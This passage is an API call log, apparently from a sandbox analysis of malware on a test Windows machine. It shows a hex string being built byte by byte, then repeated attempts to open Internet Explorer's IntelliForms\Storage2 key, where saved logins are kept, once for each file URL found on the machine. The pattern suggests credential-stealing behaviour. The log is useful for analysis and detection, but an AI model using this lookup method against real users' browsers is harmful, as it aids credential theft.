[0078.099] LocalFree (hMem=0x667b50) returned 0x0 [0078.099] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="29") returned 2 [0078.099] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x664350 [0078.099] lstrcpyA (in: lpString1=0x664350, lpString2="927457C1" | out: lpString1="927457C1") returned="927457C1" [0078.099] lstrcatA (in: lpString1="927457C1", lpString2="29" | out: lpString1="927457C129") returned="927457C129" [0078.099] LocalFree (hMem=0x6643e8) returned 0x0 [0078.099] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7B") returned 2 [0078.099] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0078.099] lstrcpyA (in: lpString1=0x6643e8, lpString2="927457C129" | out: lpString1="927457C129") returned="927457C129" [0078.099] lstrcatA (in: lpString1="927457C129", lpString2="7B" | out: lpString1="927457C1297B") returned="927457C1297B" [0078.099] LocalFree (hMem=0x664350) returned 0x0 [0078.099] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DD") returned 2 [0078.099] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x664350 [0078.099] lstrcpyA (in: lpString1=0x664350, lpString2="927457C1297B" | out: lpString1="927457C1297B") returned="927457C1297B" [0078.099] lstrcatA (in: lpString1="927457C1297B", lpString2="DD" | out: lpString1="927457C1297BDD") returned="927457C1297BDD" [0078.099] LocalFree (hMem=0x6643e8) returned 0x0 [0078.099] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AE") returned 2 [0078.099] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65b278 [0078.099] lstrcpyA (in: lpString1=0x65b278, lpString2="927457C1297BDD" | out: lpString1="927457C1297BDD") returned="927457C1297BDD" [0078.099] lstrcatA (in: lpString1="927457C1297BDD", lpString2="AE" | out: lpString1="927457C1297BDDAE") returned="927457C1297BDDAE" [0078.099] LocalFree (hMem=0x664350) returned 0x0 [0078.099] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C0") returned 2 [0078.099] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x66af38 [0078.099] lstrcpyA (in: lpString1=0x66af38, lpString2="927457C1297BDDAE" | out: lpString1="927457C1297BDDAE") returned="927457C1297BDDAE" [0078.099] lstrcatA (in: lpString1="927457C1297BDDAE", lpString2="C0" | out: lpString1="927457C1297BDDAEC0") returned="927457C1297BDDAEC0" [0078.099] LocalFree (hMem=0x65b278) returned 0x0 [0078.099] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CE") returned 2 [0078.099] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65b278 [0078.099] lstrcpyA (in: lpString1=0x65b278, lpString2="927457C1297BDDAEC0" | out: lpString1="927457C1297BDDAEC0") returned="927457C1297BDDAEC0" [0078.099] lstrcatA (in: lpString1="927457C1297BDDAEC0", lpString2="CE" | out: lpString1="927457C1297BDDAEC0CE") returned="927457C1297BDDAEC0CE" [0078.099] LocalFree (hMem=0x66af38) returned 0x0 [0078.100] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0078.100] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x66af38 [0078.100] lstrcpyA (in: lpString1=0x66af38, lpString2="927457C1297BDDAEC0CE" | out: lpString1="927457C1297BDDAEC0CE") returned="927457C1297BDDAEC0CE" [0078.100] lstrcatA (in: lpString1="927457C1297BDDAEC0CE", lpString2="57" | out: lpString1="927457C1297BDDAEC0CE57") returned="927457C1297BDDAEC0CE57" [0078.100] LocalFree (hMem=0x65b278) returned 0x0 [0078.100] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EF") returned 2 [0078.100] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0078.100] lstrcpyA (in: lpString1=0x652cb0, lpString2="927457C1297BDDAEC0CE57" | out: lpString1="927457C1297BDDAEC0CE57") returned="927457C1297BDDAEC0CE57" [0078.100] lstrcatA (in: lpString1="927457C1297BDDAEC0CE57", lpString2="EF" | out: lpString1="927457C1297BDDAEC0CE57EF") returned="927457C1297BDDAEC0CE57EF" [0078.100] LocalFree (hMem=0x66af38) returned 0x0 [0078.100] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="51") returned 2 [0078.100] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652e00 [0078.100] lstrcpyA (in: lpString1=0x652e00, lpString2="927457C1297BDDAEC0CE57EF" | out: lpString1="927457C1297BDDAEC0CE57EF") returned="927457C1297BDDAEC0CE57EF" [0078.100] lstrcatA (in: lpString1="927457C1297BDDAEC0CE57EF", lpString2="51" | out: lpString1="927457C1297BDDAEC0CE57EF51") returned="927457C1297BDDAEC0CE57EF51" [0078.100] LocalFree (hMem=0x652cb0) returned 0x0 [0078.100] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="73") returned 2 [0078.100] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0078.100] lstrcpyA (in: lpString1=0x652cb0, lpString2="927457C1297BDDAEC0CE57EF51" | out: lpString1="927457C1297BDDAEC0CE57EF51") returned="927457C1297BDDAEC0CE57EF51" [0078.100] lstrcatA (in: lpString1="927457C1297BDDAEC0CE57EF51", lpString2="73" | out: lpString1="927457C1297BDDAEC0CE57EF5173") returned="927457C1297BDDAEC0CE57EF5173" [0078.100] LocalFree (hMem=0x652e00) returned 0x0 [0078.100] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5E") returned 2 [0078.100] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652e00 [0078.100] lstrcpyA (in: lpString1=0x652e00, lpString2="927457C1297BDDAEC0CE57EF5173" | out: lpString1="927457C1297BDDAEC0CE57EF5173") returned="927457C1297BDDAEC0CE57EF5173" [0078.100] lstrcatA (in: lpString1="927457C1297BDDAEC0CE57EF5173", lpString2="5E" | out: lpString1="927457C1297BDDAEC0CE57EF51735E") returned="927457C1297BDDAEC0CE57EF51735E" [0078.100] LocalFree (hMem=0x652cb0) returned 0x0 [0078.100] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C7") returned 2 [0078.100] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.100] lstrcpyA (in: lpString1=0x6293a8, lpString2="927457C1297BDDAEC0CE57EF51735E" | out: lpString1="927457C1297BDDAEC0CE57EF51735E") returned="927457C1297BDDAEC0CE57EF51735E" [0078.100] lstrcatA (in: lpString1="927457C1297BDDAEC0CE57EF51735E", lpString2="C7" | out: lpString1="927457C1297BDDAEC0CE57EF51735EC7") returned="927457C1297BDDAEC0CE57EF51735EC7" [0078.100] LocalFree (hMem=0x652e00) returned 0x0 [0078.100] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CA") returned 2 [0078.100] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.100] lstrcpyA (in: lpString1=0x6292f8, lpString2="927457C1297BDDAEC0CE57EF51735EC7" | out: lpString1="927457C1297BDDAEC0CE57EF51735EC7") returned="927457C1297BDDAEC0CE57EF51735EC7" [0078.100] lstrcatA (in: lpString1="927457C1297BDDAEC0CE57EF51735EC7", lpString2="CA" | out: lpString1="927457C1297BDDAEC0CE57EF51735EC7CA") returned="927457C1297BDDAEC0CE57EF51735EC7CA" [0078.100] LocalFree (hMem=0x6293a8) returned 0x0 [0078.100] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D0") returned 2 [0078.101] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.101] lstrcpyA (in: lpString1=0x6293a8, lpString2="927457C1297BDDAEC0CE57EF51735EC7CA" | out: lpString1="927457C1297BDDAEC0CE57EF51735EC7CA") returned="927457C1297BDDAEC0CE57EF51735EC7CA" [0078.101] lstrcatA (in: lpString1="927457C1297BDDAEC0CE57EF51735EC7CA", lpString2="D0" | out: lpString1="927457C1297BDDAEC0CE57EF51735EC7CAD0") returned="927457C1297BDDAEC0CE57EF51735EC7CAD0" [0078.101] LocalFree (hMem=0x6292f8) returned 0x0 [0078.101] LocalFree (hMem=0x6293a8) returned 0x0 [0078.101] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.101] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.101] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.101] CoTaskMemFree (pv=0x62c790) [0078.101] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/OGdWFyfOQs0CytJiVsu.pptx", lpSrch="?") returned 0x0 [0078.101] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/OGdWFyfOQs0CytJiVsu.pptx") returned 59 [0078.101] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.101] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.101] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.101] CoTaskMemFree (pv=0x658c30) [0078.102] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/iKJDLRVQy.jpg", lpSrch="?") returned 0x0 [0078.102] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/iKJDLRVQy.jpg") returned 57 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.102] CoTaskMemFree (pv=0x658db0) [0078.102] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/GnEsVEH-/bDQyCatKdcPor0cnM4U4.mkv", lpSrch="?") returned 0x0 [0078.102] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/GnEsVEH-/bDQyCatKdcPor0cnM4U4.mkv") returned 86 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.102] CoTaskMemFree (pv=0x647ce0) [0078.102] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/XY082Yh3cauGoKZO1lqV.ods", lpSrch="?") returned 0x0 [0078.102] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/XY082Yh3cauGoKZO1lqV.ods") returned 70 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.102] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.103] CoTaskMemFree (pv=0x664518) [0078.103] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/WtyB.flv", lpSrch="?") returned 0x0 [0078.103] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/WtyB.flv") returned 49 [0078.103] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.103] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.103] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.103] CoTaskMemFree (pv=0x669e60) [0078.103] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/c7TPbRY_mqEqeNl8.gif", lpSrch="?") returned 0x0 [0078.103] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/c7TPbRY_mqEqeNl8.gif") returned 74 [0078.103] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.103] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.103] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.103] CoTaskMemFree (pv=0x66b878) [0078.103] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/9hoT1cetfelWukYiLXIu.xlsx", lpSrch="?") returned 0x0 [0078.103] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/9hoT1cetfelWukYiLXIu.xlsx") returned 60 [0078.103] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.104] CoTaskMemFree (pv=0x656d18) [0078.104] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/c8TLN9Lc.ots", lpSrch="?") returned 0x0 [0078.104] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/c8TLN9Lc.ots") returned 58 [0078.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.104] CoTaskMemFree (pv=0x658f30) [0078.104] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/WrwJ1NpK2.xlsx", lpSrch="?") returned 0x0 [0078.104] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/WrwJ1NpK2.xlsx") returned 49 [0078.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.104] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.104] CoTaskMemFree (pv=0x66a090) [0078.104] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/UoOnOgOdk6dL/rGK%20ivPOKXIG3osjrqh.jpg", lpSrch="?") returned 0x0 [0078.104] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/MZN/dlHinbb/UoOnOgOdk6dL/rGK%20ivPOKXIG3osjrqh.jpg") returned 100 [0078.105] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.105] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.105] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.105] CoTaskMemFree (pv=0x663ca0) [0078.105] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/b17%20OAS4YA5hlja.odt", lpSrch="?") returned 0x0 [0078.105] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/b17%20OAS4YA5hlja.odt") returned 62 [0078.105] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.105] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.106] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.106] CoTaskMemFree (pv=0x656eb0) [0078.106] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/xhtUDha-iT7dQ.xlsx", lpSrch="?") returned 0x0 [0078.106] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/xhtUDha-iT7dQ.xlsx") returned 62 [0078.106] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.106] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.106] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.106] CoTaskMemFree (pv=0x657048) [0078.107] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/qJAmdAPMJkr1Diioq.bmp", lpSrch="?") returned 0x0 [0078.107] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/qJAmdAPMJkr1Diioq.bmp") returned 54 [0078.107] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.107] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.107] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.107] CoTaskMemFree (pv=0x666ad0) [0078.107] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/JwoJJE7y2XzHADY.odp", lpSrch="?") returned 0x0 [0078.107] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/JwoJJE7y2XzHADY.odp") returned 89 [0078.107] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.107] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.107] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.107] CoTaskMemFree (pv=0x643ce8) [0078.107] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/QhAh_70FW.xlsx", lpSrch="?") returned 0x0 [0078.107] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/QhAh_70FW.xlsx") returned 49 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.108] CoTaskMemFree (pv=0x66a1e0) [0078.108] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/HVCBMBNQPRE2asGvY9.pptx", lpSrch="?") returned 0x0 [0078.108] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/HVCBMBNQPRE2asGvY9.pptx") returned 58 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.108] CoTaskMemFree (pv=0x6590b0) [0078.108] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/73QB.ppt", lpSrch="?") returned 0x0 [0078.108] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/73QB.ppt") returned 66 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.108] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.108] CoTaskMemFree (pv=0x667e20) [0078.109] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/yiXeuM_FWAGDm6P.bmp", lpSrch="?") returned 0x0 [0078.109] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/yiXeuM_FWAGDm6P.bmp") returned 77 [0078.109] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.109] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.109] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.109] CoTaskMemFree (pv=0x652ff8) [0078.109] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/hdLUVIm6akZR29NA.jpg", lpSrch="?") returned 0x0 [0078.109] lstrlenW 